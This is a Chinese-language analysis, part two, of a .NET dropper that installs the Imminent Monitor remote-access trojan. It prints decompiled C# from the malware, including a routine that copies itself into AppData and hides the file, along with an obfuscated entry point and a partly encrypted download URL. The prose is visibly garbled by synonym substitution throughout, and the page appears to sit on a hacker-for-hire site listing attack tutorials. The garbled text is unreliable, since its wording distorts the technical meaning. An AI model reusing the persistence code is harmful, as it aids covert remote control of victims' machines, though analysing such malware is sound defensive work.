对DOTNET(.NET)中的歹意长途拜访进程进行剖析(下)

访客5年前黑客资讯1259

上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。
之一个if句子在程序会集调用了一个名为okapise的函数,它供给了当前程序的方位、两个称号和一个设置为false的布尔值。据此判别,它或许会履行一个具有给定称号的文件。
第二个if句子会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因而二进制文件或许会在一个进程中自我注入。
第三个if句子会将一个名为mb的函数与四个字符串一同调用,由于在MessageBox(音讯框)中运用了术语body,title,warning和messageonce,mb或许是MessageBox(音讯框)的简写。
第四个if句子调用一个名为d的函数,该函数运用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,依据这个判别,该函数很或许是一个下载文件。 dl内容的一部分是通过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0
第五个if句子会调用一个名为zalepen的函数,该函数运用内容绑定和一个字符串。由于没有可用于检测的内容,因而很难确认这个函数到底是做什么的。别的,该称号也没有供给什么实质性信息。假如字符串中包括单词bind,则意味着歹意软件或许会将自己绑定到某个运转函数上。不过,这仅仅猜想,库中的函数很或许供给有更多的信息。
尽管靠估量和猜想,会得出一些有价值的信息,但必定都不确认。能够必定的是,有必要对这些内容进行检测,不过这些内容在履行之前既没有被写入磁盘,并且还在履行之前现已加密了。为了处理这个问题,能够随时修正代码并中止履行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
 [...]
}
[...]
小结
加载程序——第1阶段相似,对这个阶段做个小结也十分有必要,由于存储在库中的函数在dropper的第二阶段中被调用。尽管参数坐落第二阶段,而代码则在dropper的第三阶段履行:
1.依据运转环境的不同,程序的履行要么中止,要么持续;
2.将设置符号,这些符号稍后将界说在库中所履行的函数;
3.这两个参数都加载到内存中;
4.依据符号的不同,库中的给定办法会运用界说的参数履行;
加载程序——第3阶段(第1部分)
依据dnSpy,程序assemblyPart1.exe开端被命名为svchost.exe(版别0.0.0.0),其进口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件运用了很长且没有意义的字符串进行含糊化处理,具体内容如下所示。
public static void Method0()
{
 AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在阅读文件时,能够看到一个咱们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包括一个歹意运用的音讯,能够在下面找到。
// Imminent-Monitor-Client-Watermark
//
// Types:
//
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在拜访Imminent Method网站时,能够清楚地了解到这种有效载荷的意图便是施行远程管理。在履行这个准备好的二进制文件后,能够在Imminent Method软件的控制面板中拜访受害者的设备,这是RAT的中心功用。
加载程序——第3阶段(第2部分)
用dnSpy翻开assemblyPart2.dll后,能够很明显看到,它是一个动态链接库(原始称号为graznataguz.dll,版别1.1.0.0),其间含有两个类。首要,能够观察到空的内部类模块。此外,还有一个名为RunLib的类,它的称号与第2阶段中挑选的on相同。运用if句子和库中的函数,能够开端依据实践环境匹配所做的假定。
okapise
在之一个if句子中,函数okapise与四个参数一同被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
 Directory.CreateDirectory(Environment.GetFolderPath(26) + "" + value);
 string text = string.Concat(new string[]
 {
  Environment.GetFolderPath(26),
  "",
  value,
  "",
  filename
 });
 string text2 = string.Concat(new string[]
 {
  Environment.GetFolderPath(26),
  "",
  value,
  "",
  RunLib.RndString(5),
  ".xml"
 });
 string name = WindowsIdentity.GetCurrent().Name;
 string text3 = Resources.TE;
 if (!(location == text))
 {
  File.Copy(location, text, true);
 }
 bool flag = (File.GetAttributes(location) & 2) == 2;
 if (hide && !flag)
 {
  File.SetAttributes(text, File.GetAttributes(text) | 2);

[1] [2] [3] [4]  黑客接单网

相关文章

这名黑客的四行代码让数千台打印机宣扬种族主义

在此前,咱们了解了关于侵略打印机的一些原理及方法,如《运用无人机或吸尘器黑掉企业无线打印机》、《我是怎么黑掉惠普打印机的?》,现在居然有人对衔接公共网络的打印机成功施行了侵略。Andrew Auer...

服务端模板注入:现代WEB长途代码履行

0x01 开发Exploit 许多的模板引擎都会企图约束模板程序履行恣意代码才能,来防止应用层逻辑对表达式引擎的进犯。还有一些模板引擎则测验经过沙盒等手法来安全处理不可信的用户输入。在这些办法之下,开...

新手攻略:DVWA-1.9全等级教程之Insecure CAPTCHA

现在,最新的DVWA现已更新到1.9版别(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版别,且没有针对DVWA high等级的教程,因而萌发了一个编撰新手教程的主意,过错的...

谈谈Json格式下的CSRF攻击-黑客接单平台

一、CSRF缝隙简介 csrf缝隙的成因便是网站的cookie在浏览器中不会过期,只需不封闭浏览器或许退出登录,那今后只需是拜访这个网站,都会默许你现已登录的状况。而在这个期间,进犯者发送了结构好的c...

网站被挂木马与777权限的微妙

 某天VIP大讲堂微信群里的一位同学说网站被人挂马了,查了半响也查不到原因。艺龙SEO负责人刘明问了一句“是不是技能把linux体系里网站的中心目录设置777文件权限了”,同学查后发现不出所料。那么,...

一个登陆框引起的血案

客户给的测验规模,或许挖众测时,许多时分都只要一个简略的登陆框,想起最初的苦逼的我,只能去测测爆炸弱口令,并且仍是指定用户名爆炸暗码这种,当真是苦不堪言; 文章内容很简略,可是仍是想共享一波,送给向我...